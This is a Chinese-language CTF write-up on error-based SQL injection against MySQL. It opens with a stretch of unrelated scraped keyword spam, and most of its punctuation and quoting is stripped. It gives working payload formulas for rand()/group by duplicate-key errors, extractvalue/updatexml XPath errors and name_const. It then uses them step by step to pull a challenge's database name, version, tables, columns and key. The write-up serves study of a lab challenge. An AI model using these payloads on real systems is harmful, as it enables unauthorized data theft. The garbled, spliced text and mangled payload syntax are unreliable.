哪个素材网站比较好用,域名在线查询,申请网址费用,安徽六安市地图由于复习#xff0c;停了好几天#xff0c;今天换换模式做了一下关于错误回显的ctf题目#xff0c;首先附上题目#xff1a;here整理了一下网上的一些关于错误回显的方法#xff0c;在这里就不带上地址了#xff0c;请大牛们原谅#xff1a;P0x00 关于错误回显用我自己的…由于复习停了好几天今天换换模式做了一下关于错误回显的ctf题目首先附上题目here整理了一下网上的一些关于错误回显的方法在这里就不带上地址了请大牛们原谅P0x00 关于错误回显用我自己的话来讲基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上(当然在实际应用中得能回显在页面上一般的网站都回避免这种情况哈哈要是能碰上你就偷着乐吧)。0x01 用于错误回显的sql语句(下面的函数撸主只在mysql下试过也能成功其他数据库有待考证待有实例的时候会补充)第一种 基于 rand() 与 group by 的错误首先看一下关于rand()函数与group by 在mysql中的错误报告没错我们就是要利用group by part of rand() returns duplicate key error这个bug。RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.这个bug会爆出duplicate key这个错误然后顺便就把数据也给爆了P公式usernameadmin and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and 1 1第二种 XPATH爆信息这里主要用到的是ExtractValue()和UpdateXML()这2个函数由于mysql 5.1以后提供了内置的XML文件解析和函数所以这种注入只能用于5.1版本以后查看sql手册语法EXTRACTVALUE (XML_document, XPath_string);第一个参数XML_document是String格式为XML文档对象的名称文中为Doc第二个参数XPath_string (Xpath格式的字符串) 如果不了解Xpath语法可以在网上查找教程。作用从目标XML中返回包含所查询值的字符串语法:UPDATEXML (XML_document, XPath_string, new_value);第一个参数XML_document是String格式为XML文档对象的名称文中为Doc第二个参数XPath_string (Xpath格式的字符串) 如果不了解Xpath语法可以在网上查找教程。第三个参数new_valueString格式替换查找到的符合条件的数据作用改变文档中符合条件的节点的值现在就很清楚了我们只需要不满足XPath_string(Xpath格式)就可以了但是由于这个方法只能爆出32位所以可以结合mid来使用公式1usernameadmin and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and 11公式2usernameadmin and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and 11第三种 重复列爆信息(对于这种方法我在本地数据库上有试验成功但是对于下面那道并没有什么作用就不仔细说明了)带上代码payload id330sid19cid261andexists(select*from(select*from(selectname_const(version,0))ajoin(selectname_const(version,0))b)c)0x02 应用上面说了那么多让我们来应用一下吧基于这道题目首先我们来爆出他的数据库名 结果r0866cplushuausernameadmin and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select database()))x from information_schema.tables group by x )a) and 1 1然后爆他的数据库版本 结果:5.1.61-Alibaba-rds-201404-logusernameadmin and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select version()))x from information_schema.tables group by x )a) and 1 1接着爆他的表名 结果log motto user 这里需要一条一条爆usernameadmin and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.tables where table_schema r0866cplushua limit 0,1))x from information_schema.tables group by x )a) and 1 1然后再爆他的列名 结果id username motto(这里我一开始试的是user表但是数据并没有我们想要的所以换了motto也需要一条一条的爆)usernameadmin and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.columns where table_namemotto and table_schema r0866cplushua limit 0,1))x from information_schema.tables group by x )a) and 1 1最后就是爆数据了 结果key#notfound!# (这里我使用了XPATH爆数据因为不知道什么原因用第一种方法暴不出来)usernameadmin%27%20and%20(extractvalue(1,%20concat(0x7e,(SELECT%20concat(username,0x3a,motto)%20FROM%20motto%20limit%203,1))))%20and%20%271%27%271到了这里这道题目就算是做出来了。由于撸主刚刚学起上面如果有什么错误请路过的大牛指正谢谢同时也希望大牛们可以分享一些其他的注错方法。